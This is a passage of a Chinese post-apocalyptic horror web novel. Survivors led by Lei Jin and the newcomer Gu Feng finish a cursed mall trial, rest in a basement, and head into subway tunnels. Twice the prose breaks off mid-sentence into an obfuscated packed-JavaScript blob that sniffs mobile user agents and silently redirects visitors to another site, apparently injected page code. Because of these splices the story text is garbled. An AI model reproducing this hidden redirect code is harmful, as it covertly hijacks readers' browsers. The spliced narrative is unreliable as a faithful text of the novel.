“渴望……”顾风低声重复。他的渴望是什么?离开这里?活下去?弄清真相?还是……回到过去,改变一切?哪一种会被认定为“商品”? “不能拖延。”雷烬沉声道,“规则已明,停留越久,被它窥探和干扰内心的可能性越大。分开寻找‘商品’,但不要离开这一层太远,保持彼此能在视线或呼喊范围内。记住,商品要‘满足渴望’,但绝不能是明显危险或与魔修直接相关的东西。先找看起来‘正常’,但又似乎有点特别的物品。注意感受……内心的波动。” 他推起一辆购物车,率先走向旁边一个倒塌了一半的服装店区域。 其他人也各自推起购物车,分散开来。 顾风推起属于自己的那辆购物车,轮子发出嘎吱嘎吱的响声,在寂静中格外刺耳。他选择了与雷烬相反的方向,走向一片似乎是日用品和家纺的区域。货架东倒西歪,商品散落一地,覆盖着厚厚的灰尘。 他边走边警惕地观察四周。商场内部的空间似乎比从外面看起来要大一些,光线昏暗,阴影重重,那些破损的模特和倾倒的货架在昏暗光线下,有时会形成类似人形的轮廓,让人心头一紧。 渴望……他的目光扫过地上的物品:破碎的碗碟、干瘪的枕头、锈蚀的厨具、散落的儿童玩具……没有一样能引起他内心的特殊波动。 他继续往前走,穿过一个拱门,进入了一个更大的区域,似乎是曾经的超市卖场。这里更加混乱,腐烂的蔬菜水果早已变成黑色的粘稠物,包装食品胀气破裂,流淌出可疑的液体。气味难闻。 顾风屏住呼吸,推车小心地避开污秽。他的目光忽然被前方一个货架下,一点微弱的反光吸引。 走过去,拨开几个空罐头盒,他看到了一面巴掌大的、边缘镶嵌着塑料水钻的小镜子。镜子本身已经裂了几道缝,但还算完整。镜面蒙尘,但擦去一点后,能模糊地映出他自己的脸——憔悴,苍白,眼神里带着惊惶和疲惫。 就在他看到镜中自己影像的刹那,心脏猛地一跳。不是恐惧,而是一种强烈的、突如其来的**渴望**——渴望看清自己,渴望确认“我”是谁,渴望摆脱那种如影随形的异样感和逐渐模糊的自我边界。 这面破镜子,似乎能映照出“自我”? 他犹豫了一下,弯腰捡起了镜子。入手冰凉。那股渴望的感觉更强烈了,仿佛这面镜子能帮助他锚定正在被影子侵蚀的“心”。 是第一件“商品”吗? 他小心翼翼地将镜子放进了购物车。购物车底部发出轻微的“咔哒”声,仿佛确认了接纳。 成功了?这么简单? 顾风不敢放松,推着车继续寻找。第二件“商品”…… 他在杂乱肮脏的超市里穿行,刻意去回想自己还渴望什么。食物?水?安全?这些都很强烈,但似乎没有特定的物品能引发刚才那种明确的内心悸动。 转过一个堆满空纸箱的角落,他差点撞上一个东西。 不是人。是一个塑料模特的上半身,倒在地上,头歪向一边,脸上挂着标准化的微笑。模特身上穿着一件褪色严重的蓝色格子衬衫。 顾风的目光掠过模特,落在它旁边的一个小货架上。货架倾斜,上面堆着一些落满灰尘的文具。其中,有一个铁皮铅笔盒,盒盖上印着早已模糊的卡通图案。 看到这个铅笔盒的瞬间,顾风脑子里忽然闪过一个极其久远、几乎被遗忘的画面:小学时,他曾经非常渴望有一个类似的双层铁皮铅笔盒,但家里条件不好,母亲只能给他买最便宜的塑料笔袋。他从未拥有过。 一种微弱的、怀旧的、混合着淡淡遗憾的渴望,涌上心头。 是它吗? 他拿起铅笔盒,沉甸甸的,里面似乎还有东西。晃了晃,发出笔具碰撞的轻响。他将铅笔盒也放入了购物车。 第二件。 还差最后一件。 顾风推着车,手心开始冒汗。两件“商品”的获取似乎都依托于他内心真实的、哪怕很微小的渴望。那么第三件,会是什么?会不会更危险,更触及他深层不愿面对的东西? 他离开了超市区域,回到中庭附近,看到林岚在不远处的化妆品柜台废墟前,正小心翼翼地将一支断裂的口红放入购物车。雷烬似乎已经找齐了三件,正站在一个倒塌的玩具货架旁,警惕地观察着周围。阿木和老陈在不远处,小豆则不见了踪影。 “小豆呢?”顾风低声问走近的林岚。 林岚脸色不太好看:“他说感觉到‘渴望’在二楼,上去了。雷哥阻止不及。二楼……感觉不太对。” 正说着,楼上突然传来一声短促的惊叫,随即是重物落地的闷响! “小豆!”雷烬脸色一变,立刻朝着扶梯方向冲去!其他人也紧随其后。 顾风推着购物车跟上。他们冲上静止的扶梯,来到二楼。 二楼的光线更加昏暗,只有几盏应急灯亮着,照出一片狼藉的儿童游乐区和电子商品区。在一堆破损的塑料球池旁边,他们看到了小豆。 小豆倒在地上,购物车翻在旁边,里面空空如也。他脸色惨白,眼睛紧闭,呼吸急促,额头上有一块撞伤,渗出血迹。而在他身边,蹲着一个“人”。 不,那不是人。 它穿着商场保安的制服,但制服破破烂烂,沾满污渍。它的皮肤是一种不自然的灰白色,布满皲裂的纹路。它的脸……没有五官,只有一片平滑的、如同蜡像般的平面。此刻,它那没有五官的脸,正“对着”地上的小豆,一只灰白的手,悬在小豆的胸口上方,指尖缭绕着丝丝缕缕淡黑色的雾气,正缓缓渗入小豆的身体。 小豆的身体微微抽搐着。 “惑心魔!干扰实体!”雷烬低吼一声,手中的砍刀毫不犹豫地朝着那无面保安劈去! 刀锋划过空气,那无面保安似乎提前感知,以一种诡异的速度向后滑开,避开了这一刀。它“站”起身,平滑的脸转向众人,虽然没有眼睛,但所有人都感觉到一股冰冷的、充满恶意的“注视”。 “顾客……干扰购物……是不被允许的哦……”那个空洞诡异的声音再次直接在他们脑海中响起,但这次,似乎带着一丝戏谑。 “它的本体不在这里,这只是它用力量凝聚的干扰实体!目的是拖住我们,窥探和放大我们的恐惧!”林岚快速说道,同时挡在小豆身前,手中的匕首闪烁着寒光。 无面保安动了,它没有攻击雷烬或林岚,而是如同鬼魅般,突然出现在顾风面前! 平滑无面的脸几乎贴到顾风眼前,一股冰冷的、带着腐朽甜味的气息扑面而来。顾风甚至能“看”到那平滑的脸皮下,似乎有东西在蠕动。 “你……在渴望……什么呢?”声音直接钻入顾风的脑海,带着无尽的诱惑和恶意,“是逃离?是力量?还是……不再孤单?” 与此同时,顾风感到自己脚下的影子,那被暂时压制的异样感,猛地**沸腾**起来!一股冰冷的、带着强烈吞噬欲望的悸动,从影子传入他的身体,与无面保安的诱惑低语交织在一起! 他的目光,不由自主地越过了无面保安,投向了它身后不远处,一个完全坍塌、被瓦砾掩埋了一半的店铺。店铺的招牌只剩下一半:“……梦工坊”。 在那堆瓦砾的边缘,露出了一角破旧的、脏兮兮的毛绒玩具——一只缺了一只耳朵的兔子玩偶。 在看到那只兔子玩偶的瞬间,顾风的心脏像是被一只冰冷的手攥住了! 一个画面强行冲破封锁,撞进脑海:不是他的记忆!是那个“顾风”的,更深层、更久远、几乎被埋葬的童年记忆!一个小小的男孩,蜷缩在黑暗的角落里,抱着一个破旧的兔子玩偶,那是他唯一的慰藉,直到有一天,玩偶被醉酒的父亲撕碎扔掉……那种深入骨髓的、对被抛弃的恐惧,对唯一温暖寄托的渴望,混合着巨大的悲伤和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看到了雷烬手中那根迅速失去光泽的骨杖,看到了林岚为了保护小豆不顾自身安危的背影,看到了阿木和老陈虽然恐惧却依然顶在前面的身躯。 他渴望什么? 在经历了债务深渊、女友离去、母亲去世、被绑架、灵异病院、影子侵蚀、末世废墟之后……在这个诡异危险的关卡里,面对想要吞噬他心智的魔修和并肩作战的陌生人…… 他渴望的,不是沉湎过去的温暖幻影,不是虚幻的力量,甚至不仅仅是活下去。 他渴望……**不再是一个人面对这一切**。渴望能有可以交付后背的同伴,渴望在这绝望的末世中,抓住一丝真实的、属于“人”的联结和信任。 他的目光,定格在散落在一旁、属于小豆的那辆空购物车上。在那购物车锈蚀的网格里,卡着一件小小的东西——一枚褪色严重、图案模糊的金属徽章,似乎是某个早已不存在的学校或团队的标志。 那徽章毫不起眼,甚至有些破烂。 但看到它的瞬间,顾风心中涌起的,是一种平静而坚定的渴望——他希望小豆能醒来,希望这个临时组成的队伍能一起走出这个关卡,希望这枚或许代表着某种“集体”或“归属”的徽章,能成为他们之间脆弱但真实联结的象征。 他快步走过去,捡起那枚徽章,毫不犹豫地放进了自己的购物车。 “叮”一声轻响,购物车微微震动,仿佛确认。 三件商品,齐了。 几乎在同时,那正在与阿木、老陈缠斗的无面保安,发出一声更加凄厉的无声尖啸,身体猛地僵住,然后如同烟雾般开始消散。 “干扰实体消失了!”林岚喊道,“快,结算!魔修的本体要现身了!” 雷烬扶起刚刚苏醒、还晕晕乎乎的小豆。小豆的购物车还是空的,但他似乎没有大碍,只是脸色极差。 “快!去收银台!” 一行人推着各自的购物车,冲向最近的一个收银通道。收银台布满灰尘,电脑屏幕漆黑。但当他们推着车进入通道时,前方的空间微微扭曲,一个半透明的、穿着商场收银员制服、同样没有五官的身影,缓缓浮现。 “请……结算……”空洞的声音响起。 雷烬第一个将购物车推到台前。收银员无面的“脸”对准了他的购物车。车里放着三样东西:一个锈蚀的指南针,一包未开封但显然过期的压缩饼干,还有一颗脏兮兮的玻璃弹珠。 “价格……”收银员伸出手,灰白的手指指向雷烬。 雷烬沉默了一下,从怀里掏出一把磨损严重、但显然对他有特殊意义的□□,放在了收银台上。“这个。” 匕首消失。收银员点了点头。雷烬购物车里的三件商品也同时消失,取而代之的,是三颗黄豆大小、散发着淡蓝色微光的灵珠,落入他手中。 接着是林岚、阿木、老陈。他们各自支付了“价格”:林岚是一缕剪下的长发(她表情有一丝痛惜),阿木是一块佩戴多年的护身符碎片,老陈是一张磨损得看不清画面的旧照片。 轮到小豆。他的购物车还是空的。小豆脸色惨白,看着那无面的收银员。 “商品……不足……惩罚……”收银员的手指向小豆的胸口。 “用我的!”顾风突然开口,将自己购物车里的那枚金属徽章拿出来,放进了小豆的空购物车。小豆购物车里瞬间显示为“一件商品”。 小豆愕然看向顾风。 “价格……”收银员指向小豆。 小豆咬了咬牙,从脖子上扯下一根穿着兽牙的皮绳,放在了台上——那是他父亲留给他的唯一遗物。兽牙消失。 小豆获得了一颗灵珠,但光芒比别人的暗淡许多。 最后是顾风。他将购物车推上前。里面是三样东西:破镜子,铁皮铅笔盒,以及……现在空空如也(因为徽章给了小豆)。 “商品……不足……”收银员冰冷地指向顾风。 “我的第三件商品,是‘给予同伴的希望’。”顾风直视着那平滑无面的脸,一字一句地说,“它已经以徽章的形式,支付了出去。所以,我完成了‘寻找三件商品’的要求。” 收银员静止了片刻。商场的光线似乎闪烁了一下。 “……判定……成立。”空洞的声音响起,“支付……价格……” 顾风深吸一口气。他需要支付的,是令他“真心感到痛惜”的东西。 他想起了很多。母亲的遗物?早就变卖或丢失了。小雅的照片?早已删除。过去的自己?早已面目全非。 他下意识地,低头看向自己的影子。那团在收银台灯光下依旧颜色暗沉、边缘微微晕开的黑影。 他最痛惜的,是这正在逐渐失去的、完整的“自我”,是这具正在被影子侵蚀的身体和灵魂。 但“影子”本身,似乎不能直接支付。 他忽然想到了什么,抬起手,伸向自己的左眼。 不是真的要挖出来。而是一种象征性的,对自己“视觉”,对自己“看待世界方式”的割舍。他极度珍惜自己清醒的认知和判断力,尤其是在这疯狂的世界里。任何可能模糊这种认知的代价,都令他痛惜。 他闭上眼睛,然后猛地睁开,同时,用指甲在左手掌心狠狠划出一道血口!鲜血涌出。 “我支付……一部分‘清晰看待世界的视线’。”他将流血的掌心按在收银台上,鲜血在灰尘上印出一个模糊的手印,“以此为代价,赎回我逐渐被侵蚀的‘自我’边界。” 这是他此刻,能想到的,最“痛惜”,也最契合他内心渴望(对抗异变)的“价格”。 收银台沉默着。掌心的血迹缓缓消失。 然后,顾风的购物车里,那两件剩下的商品(镜子和铅笔盒)也消失了。三颗灵珠落下——两颗淡蓝色,一颗……竟然是淡金色,虽然光芒微弱,但确确实实是不同于他人的颜色! 与此同时,整个购物中心开始剧烈震动!灯光疯狂闪烁!那个无面的收银员身影发出凄厉的哀嚎,身体寸寸碎裂,化为黑烟消散! “守关者死了!关卡要崩溃了!快出去!”雷烬大吼,扶着小豆就往外冲! 众人推着空了的购物车(购物车在结算后似乎成了普通废物),拼命冲向进来的方向——一楼中庭的雾气边界! 身后,建筑开始坍塌,空间扭曲,仿佛有一只无形的大手在将一切揉碎! 顾风紧紧握着到手的三颗灵珠,尤其是那颗淡金色的,感到一股温和却坚韧的力量顺着掌心流入身体,迅速蔓延四肢百骸。脚下那沸腾躁动的影子,竟然在这股力量流入后,奇迹般地**安静**了下来,颜色似乎也略微变淡了一丝,那股无时无刻不在的侵蚀感和脉动,减弱了不少! 灵珠……真的有效! 他们一头撞出了雾气边界。 外界依旧是废墟和黑暗,但身后的购物中心,那笼罩的淡灰色雾气剧烈翻滚,然后如同被戳破的气泡般,“噗”一声消散了。原本的建筑轮廓依旧在那里,但那种诡异的“领域”感消失了,重新变回普通的废墟。 所有人都瘫坐在地上,剧烈喘息,心有余悸。 顾风摊开手掌,看着那三颗微光流转的灵珠,尤其是那颗淡金色的小珠子,又看了看身边劫后余生的、狼狈却都活着的同伴——雷烬正在检查小豆的伤势,林岚警戒四周,阿木和老陈清点着各自的收获。 他第一次在这个绝望的末世里,感受到了一丝微弱的、但实实在在的……暖意。 挑战完成了。他们活了下来。 而脚下的影子,虽然依旧存在,依旧异样,但在淡金色灵珠力量的安抚下,暂时蛰伏。 生存的游戏,才刚刚开始。 8. 灰烬与刀锋 离开“迷失购物车”关卡后,队伍在废墟中沉默行进了一个多小时。天色依旧沉在那片永恒的、令人压抑的铅灰里,没有晨昏,只有光线强度的细微变化。顾风感到舌下的蓄能珠清凉感早已消退,随之而来的是更深的疲惫和饥饿。但那三颗灵珠——尤其是掌心里那颗淡金色珠子传来的、如同温水般抚慰全身的暖流——让他勉强支撑。 脚下的影子,在灵珠力量的压制下,恢复了相对“正常”的轮廓,颜色也退回到暗沉的灰黑,边缘那令人不安的蠕动感几乎消失。但顾风能感觉到,那只是**压制**,而非**消除**。它像一头暂时蛰伏的野兽,蜷缩在他意识的角落里,等待着。 雷烬走在最前面,步伐稳健却透着一种消耗过度的紧绷。清心珠的一次性激发显然对他负担不小,他的脸色比之前更苍白,握着那把改装砍刀的手背青筋微微凸起。 林岚搀扶着小豆。少年的状况不太好,虽然醒了过来,但眼神发飘,脚步虚浮,额头撞伤处被林岚用撕下的布条简单包扎,渗出的血迹已经变暗。他时不时会轻微抽搐一下,喉咙里发出含糊的音节。 “找个地方歇脚。”雷烬头也不回地说,声音比往常更沙哑,“必须处理小豆的情况,我们的消耗也太大。” “最近的临时据点也得再走大半天,”阿木闷声说,他的目光警惕地扫视着两侧残破的建筑,“而且‘摇篮’的影响范围边界模糊,还不够远。” 老陈咳嗽了几声,指着前方一片相对低矮、由许多坍塌商铺组成的街区废墟:“那边…以前是个小市场,结构复杂,容易躲藏。我…我大概记得有几个相对完好的地下室入口。” 雷烬只犹豫了一秒:“带路。小心。” 他们改变了方向,钻进那片如同迷宫般的废墟。碎裂的瓷砖、扭曲的金属招牌、腐烂的织物和无法辨别的垃圾堆积如山,空气中弥漫着更浓郁的灰尘和朽木气味。老陈凭借模糊的记忆,领着他们在断墙和瓦砾间穿行,最后停在一处半陷进地下的店铺门前。招牌早已坠落摔碎,只能从残存的几个字猜出这里曾是“五金劳保”。 门是厚重的卷帘门,被砸开了一个仅容一人弯腰通过的缺口。里面一片漆黑。 雷烬做了个手势,阿木和老陈一左一右警戒入口。雷烬自己取出一小截缠着布条、浸了油脂的木棍,用打火石点燃,做成简易火把,率先钻了进去。林岚扶着紧随其后。顾风断后。 火光照亮了内部。空间比想象中深,大约三四十平米,堆满了倒塌的货架和锈蚀的五金工具。空气浑浊但勉强可以呼吸,没有明显的甜腻腐烂味,只有铁锈和尘土气。最重要的是,相对完整,只有一个出入口。 “暂时安全。”雷烬快速检查了一圈,确认没有其他通道或隐藏的危险,“轮流休息。阿木,第一班警戒。林岚,看看小豆。” 林岚小心翼翼地将小豆安置在一处相对干净的墙角,解开他头上的布条检查伤口。“伤口不深,但…他的精神受到冲击了。”她眉头紧锁,“惑心魔的干扰实体直接接触了他,虽然时间短,但可能留下了‘残响’。” “会怎么样?”雷烬问,他正用一块破布擦拭砍刀上的污迹。 “可能会做噩梦,产生短暂的幻觉,或者…变得更容易被类似的低语影响。”林岚从自己随身的破旧医疗包里翻找,拿出一个很小的铁盒,里面是几片干枯的、形状奇怪的暗绿色叶子。她取出一片,揉碎了放在小豆鼻下让他嗅闻,又将另一片塞进他舌下。“宁神草的叶子,效果很弱,但聊胜于无。” 小豆的抽搐似乎轻微了些,呼吸也平缓了一点,但眼神依然涣散。 顾风靠坐在一个翻倒的铁柜旁,感受着灵珠带来的暖流在体内缓慢循环。他拿出那三颗灵珠,在昏暗的火光下仔细观察。两颗淡蓝色的“蓄能珠”光芒稳定但微弱,像夜光的小石子。而那颗淡金色的珠子,光芒则内敛许多,仿佛有一层薄薄的雾霭包裹着内核的金色,握在手里,那股温和的暖意持续不断,甚至让他被影子侵蚀带来的那种发自骨髓的隐寒冷淡了些许。 “那是什么?”雷烬的声音突然在近处响起。 顾风抬起头,发现雷烬不知何时走了过来,目光落在他掌心的淡金色灵珠上。其他几人也看了过来。 “结算时…给的。”顾风说,“和你们的不太一样。” 雷烬蹲下身,仔细看着那颗珠子,眼神锐利如刀。“淡金色…很少见。通常只有触及规则核心,或者支付了某种…非常规‘价格’,才有可能出现。”他看向顾风,“你支付了什么?” 顾风想起自己划破手掌,说出“支付一部分清晰看待世界的视线”时的决绝。他没有隐瞒,简单说了。 雷烬沉默了片刻,点了点头。“明白了。‘赎回自我边界’…很聪明的解读,也确实是沉重的代价。这颗珠子,你好好收着。它可能不仅仅是提供能量那么简单。”他没有再细说,但语气中的慎重显而易见。 “雷哥,我们的灵珠…不太够了。”林岚轻声道,她也在清点自己的收获,“这次消耗太大。小豆需要更有效的‘清心珠’来稳定精神,不然下次遇到类似的精神干扰会更危险。我们自己也需要补充‘蓄能珠’保持体力。阿木的武器也需要修复。” 雷烬站起身,走到卷帘门的缺口边,望着外面废墟永恒不变的灰暗。“我知道。我们需要‘灰烬集市’的情报,更需要那里的药剂师。但以我们现在的状态,带着小豆,走不到那里,也支付不起价格。” “得先弄到一批‘基础灵珠’。”老陈低声道,“或者…找到能替代‘清心珠’原料的东西。我记得…附近可能有一种变异地衣,老话叫‘凝神苔’,虽然效果远不如真正的清心珠,但大量使用的话,也许能暂时稳住小豆的情况。” “你知道具体位置?”雷烬问。 老陈的脸上露出迟疑和一丝不易察觉的恐惧。“大概…在旧地铁隧道的某个通风井附近。那里…很黑,而且可能有‘潜影鼠’或者更糟的东西筑巢。” “潜影鼠?”顾风问。 “一种…适应了黑暗的变异生物,”林岚解释,“个头不大,但成群活动,速度极快,牙齿带毒,喜欢啃食有灵性残余的东西。关键是…它们几乎不发出声音,在阴影里移动,很难察觉。” 又是一次选择。留下来,小豆的情况可能恶化,大家的状态也难以恢复。去寻找可能有危险的替代品,同样要面对未知的威胁。 顾风看到雷烬的右手无意识地握紧了刀柄,指节因为用力而发白。火把的光在他脸上跳跃,照亮了他紧绷的下颌线和眼中深藏的疲惫。这个看似坚不可摧的领导者,此刻也承受着巨大的压力。每一次决策,都关乎生死。 **(雷烬的回忆触发点:面临“资源短缺”与“队员安危”的两难抉择)** *时间仿佛被拉长。雷烬盯着门外那片吞噬一切的废墟阴影,意识却短暂地滑入了更深的黑暗——不是这里的黑暗,而是另一种更冰冷、更绝对的黑暗。 **那是他还在“铁穹”庇护所的时候。他是护卫队的小队长,手下有七个弟兄,还有一个刚刚加入不久、脸上还带着点稚气的年轻小子,叫小伍。庇护所的能源核心出了问题,需要一种稀有零件才能修复,而最近的已知库存点,在三十公里外一个被标记为“高风险”的废弃工厂里。* **资源短缺。食物配给已经减半,净水过滤器濒临崩溃。所长希望他们去,但无法提供足够的装备和后备支援。“雷烬,你是最好的。”所长拍着他的肩膀,眼神却躲闪着。* **他手下的弟兄们看着他,眼神里有信任,也有隐藏不住的恐惧。小伍更是紧张地不停咽口水。雷烬计算着:强行军过去,顺利的话两天来回。但工厂情况不明,路上更可能遇到游荡的“剥皮者”或者更糟的。他们当时的武器,比现在手里的还要简陋。成功的概率,不到四成。* **但他还是点了头。因为他是“最好的”,因为庇护所几百人等着能源。他告诉自己,这是必要的风险,是队长的责任。他做了详细的计划,挑了最稳妥(或者说,看似最稳妥)的路线。*

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081226|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > **然后呢?* **然后就是噩梦。工厂里盘踞的不是预期中的少量惰性机械傀儡,而是一整个巢穴的“蚀铁虫”,那些东西对金属和有机物有着同等的贪婪。遭遇战瞬间爆发。撤退命令下得还算及时,但小伍慌了,踩中了锈蚀的格栅,掉了下去。下面是虫巢的深处。* **惨叫。短暂而凄厉。然后是令人牙酸的咀嚼声。* **一个弟兄要下去救,被他死死拽住。“走!”他吼道,声音是自己都陌生的嘶哑。他记得自己拖着那个挣扎哭喊的弟兄,带着剩下的人,在一片混乱和虫群的追击中逃离了工厂。零件?根本没有机会靠近。他们失去了小伍,损失了大部分装备,狼狈不堪地空手而归。* **回到庇护所,迎接他们的不是安慰,而是资源进一步紧缩后压抑的绝望和隐隐的指责。那个被他拽回来的弟兄,后来在一次巡逻中“意外”脱离了队伍,再也没有回来。有人说他是去找小伍了,有人说他是承受不住愧疚。* **雷烬没有去找他。他知道,自己下达撤退命令、放弃小伍的那一刻,有些东西就永远改变了。他不是“最好的”,他只是一个在残酷天平上,被迫衡量生命与目标,然后发现自己的手沉重得无法保持平衡的普通人。他欠小伍一条命,欠那个失踪弟兄一个交代,更欠自己内心那份曾经深信不疑的、关于责任与能力的信念。* **不久后,“铁穹”庇护所还是因为能源彻底耗尽,在一场袭击中沦陷了。他带着仅存的几个愿意跟他走的人逃了出来,成了废墟中的流浪者,直到遇到林岚和其他人。* 火把的噼啪声将雷烬拉回现实。鼻腔里是地下室的铁锈味,耳边是小豆压抑的呻吟。眼前是几张熟悉又陌生的面孔,带着疲惫和依赖,望着他,等待他的决定。 又是抉择。留下?还是冒险?寻找效果不明的替代品?会不会又是另一场徒劳,甚至再搭进去一条命? 他的目光扫过众人。林岚眼神疲惫但坚定,阿木沉默如石,老陈脸上写着恐惧却也有一丝期望,顾风……这个新人,眼神里有恐惧,但也有一种刚经历过考验后未曾熄灭的火苗。而小豆,那个少年,和记忆里小伍的脸有那么一瞬间的重叠。 他不能重蹈覆辙。但也不能坐以待毙。 “老陈,”雷烬开口,声音因为回忆的冲刷而更加沙哑,却异常清晰,“把你记得的,关于凝神苔的位置,周围可能的地形和危险,尽可能详细地说出来。不要遗漏任何细节。” 然后他转向其他人:“我们休整四个小时。进食,处理伤口,尽可能恢复体力。阿木,把还能用的武器检查一遍。林岚,用我们现有的东西,准备一些能对付小型群居生物的药物或陷阱,哪怕是暂时干扰也行。” 最后,他看着顾风:“你的影子,现在感觉怎么样?” 顾风愣了一下,仔细感受:“很安静。灵珠的力量在起作用。” “好。四个小时后,我,顾风,还有阿木,三个人去那个通风井。林岚,你和老陈留下,保护小豆,守好这里。”雷烬的语速不快,却带着不容置疑的分量,“这次,我们不求完全清除危险,目标是确认情况,如果可能,快速采集最低限度的凝神苔。如果事不可为,立刻撤退。明白吗?” “明白。”阿木沉声应道。 林岚张了张嘴,似乎想说什么,但看到雷烬眼中那种沉淀下来的、近乎冷酷的决断,她最终点了点头:“小心。” 顾风也点了点头,心中那股因为未知而产生的焦虑,似乎被雷烬清晰的指令冲淡了一些。他看着雷烬走回门边警戒的背影,那背影依旧挺直,却仿佛背负着看不见的重量。 地下室重归寂静,只有火把燃烧的微响和小豆偶尔的呓语。每个人都开始默默执行雷烬的命令,为四个小时后的行动做准备。空气中弥漫着一种紧绷的、蓄势待发的气息。 而顾风握紧了手中那颗淡金色的灵珠。他不知道接下来会面对什么,但他知道,在这个黑暗的废墟世界里,犹豫和停滞本身,可能就是最致命的危险 9. 隧道深处 四个小时的休整,在压抑的沉默和紧迫感中飞速流逝。顾风强迫自己咽下几口硬如石块、味道可疑的压缩干粮,就着微涩的净水。身体在淡金色灵珠持续的暖流滋养下,恢复了些许力气,但精神上的疲惫如同附骨之蛆。他反复检查那根简陋的长矛和短刀,试图从冰冷的金属触感中汲取一丝虚假的安全感。 雷烬几乎没怎么休息,大部分时间都守在卷帘门缺口处,像一尊沉默的黑色雕像,只有偶尔转动的眼珠证明他的警惕。阿木在角落打磨他的武器,那是一把用重型机械零件改造的砍刀,刀刃在粗布擦拭下反射着暗哑的光。老陈蜷缩在离小豆不远的地方,眼皮颤动,显然没真正睡着。林岚则一直照顾着小豆,低声哼着不成调的旋律,试图安抚少年紊乱的精神。 “时间到了。”雷烬的声音打破寂静,他站起身,活动了一下僵硬的脖颈,骨节发出轻微的脆响。 阿木立刻站起,将砍刀背在身后,检查了一下腰间挂着的几个用铁皮罐和钉子制作的简易陷阱。顾风也深吸一口气,握紧长矛站起来。 “记住,”雷烬的目光扫过顾风和阿木,“目标:旧地铁通风井附近可能存在的凝神苔。首要原则:隐蔽,快速,避免缠斗。一旦遭遇潜影鼠群,或者任何超出预期的危险,立刻按预定路线撤退,不要犹豫。我和阿木断后,顾风,你负责前方探路和警戒,你的‘视野’在黑暗里或许有点用。” 顾风点头,虽然不确定自己那因药效残留而有些异样的视觉在绝对黑暗里能起多大作用。 林岚走过来,将几个小布包塞进他们手里。“里面是碾碎的臭蕨粉和硫磺粉混合,对很多地下生物有驱散效果,关键时刻撒出去。还有这个,”她单独给顾风一个小一点的、用蜡纸仔细包好的东西,“宁神草根,比叶子效果强一点,如果你感觉…影子不对劲,或者精神受到莫名干扰,含一点在嘴里。” “谢谢。”顾风接过,小心收好。 “活着回来。”林岚低声道,眼神里是掩饰不住的担忧。 雷烬拍了拍她的肩膀,没再说什么,弯腰钻出了卷帘门。阿木和顾风紧随其后。 外界的空气虽然污浊,但比起地下室的沉闷,还是多了几分流动感。天色依旧是那片永恒的铅灰,但光线似乎比之前更暗淡了些。老陈提供的地图——实际上是他用烧黑的木炭在一片相对平整的塑料板上画的简陋线条——指示着通往旧地铁入口的路线。需要穿过大约一公里半的复杂废墟,然后从一个坍塌的商场地下车库入口进入隧道系统。 废墟之中,每一步都需谨慎。倾倒的混凝土块可能松动,裸露的钢筋如同择人而噬的利齿,某些看似平坦的地面下可能是被垃圾填埋的深坑。空气中飘散着各种难以形容的气味组合。顾风走在中间,雷烬打头,阿木殿后。三人都放轻了脚步,尽量利用断墙和瓦砾的阴影移动。 顾风尝试着凝聚精神,用那种“特殊视野”观察周围。与在精神病院或购物中心关卡内不同,外界的阴影似乎…更“正常”一些。没有明显的蠕动或渗透感,颜色也是自然的浓淡变化。但他脚下自己的影子,在移动中偶尔会让他产生一丝微妙的“滞后”错觉,仿佛它需要额外一刹那才能跟上他的动作。他尽量不去深想。 行进半小时后,他们接近了目标区域。一片更为彻底的破败景象,曾经高大的商场只剩下扭曲的骨架,地下车库的入口被大量坍塌的楼板和大块装饰石材堵死,只留下一个需要侧身挤过的狭窄缝隙,里面黑得如同怪兽的咽喉。 “就是这里。”雷烬停在缝隙前,侧耳倾听片刻,然后点燃了一根新的简易火把。“我先下。顾风,跟着我,注意脚下和头顶。阿木,守住入口,保持警戒,注意我们约定的信号。” 火光照亮了缝隙内粗糙的断裂面。雷烬率先挤了进去,顾风紧随其后。阿木魁梧的身躯堵在入口处,像一块沉默的岩石。 缝隙内是向下倾斜的斜坡,布满碎石和厚厚的灰尘。空气瞬间变得阴冷潮湿,带着浓重的土腥味和更深处传来的、若有若无的锈蚀与腐败的混合气息。火把的光只能照亮前方几米,更远处是吞噬一切的黑暗。脚下是破碎的瓷砖和水泥块,头顶不时有细小的沙石簌簌落下。 走了大概几十米,斜坡结束,他们站在了一个相对开阔的空间边缘。火把光芒摇曳,隐约照出巨大的、布满涂鸦和裂痕的立柱,以及向两侧延伸的、深不见底的隧道。这里应该是地下车库的底层,与旧地铁隧道的某个维修通道相连。地面上散落着废弃的车辆残骸,轮胎早已腐烂成黑色的胶状物,车窗玻璃粉碎,像无数只呆滞的眼睛。 “这边。”雷烬辨认了一下方向,指向左侧一条更窄的、似乎通往更深处的通道。通道入口处,有一个锈蚀殆尽的铁栅栏门,歪斜地挂在一边。 他们踏入通道。这里的黑暗更加浓稠,火把的光仿佛被吞噬了大半,只能勉强照亮脚下不到两米的范围。空气几乎不流动,带着陈年的霉味和一种…淡淡的、类似动物巢穴的腥臊气。顾风的心跳不由自主地加快。 **(顾风自身的回忆触发点:对“狭窄黑暗空间”与“未知气味”的生理性恐惧)** *通道的黑暗和压抑的气味,像一把生锈的钥匙,猛地捅开了记忆闸门的另一道锁。不是关于债务或绑架,而是更早,更原始的恐惧。 **那是他大概七八岁的时候。老家镇上有个废弃的防空洞,是孩子们口中又害怕又向往的“禁地”。有一次打赌,他被几个大孩子激将,独自一人钻了进去。洞口很小,需要匍匐爬行一段。里面是绝对的黑暗,只有手里廉价手电筒的微弱光柱。空气是凝滞的、带着泥土和某种说不出的陈旧气息,和现在闻到的有些类似,但更潮湿。* 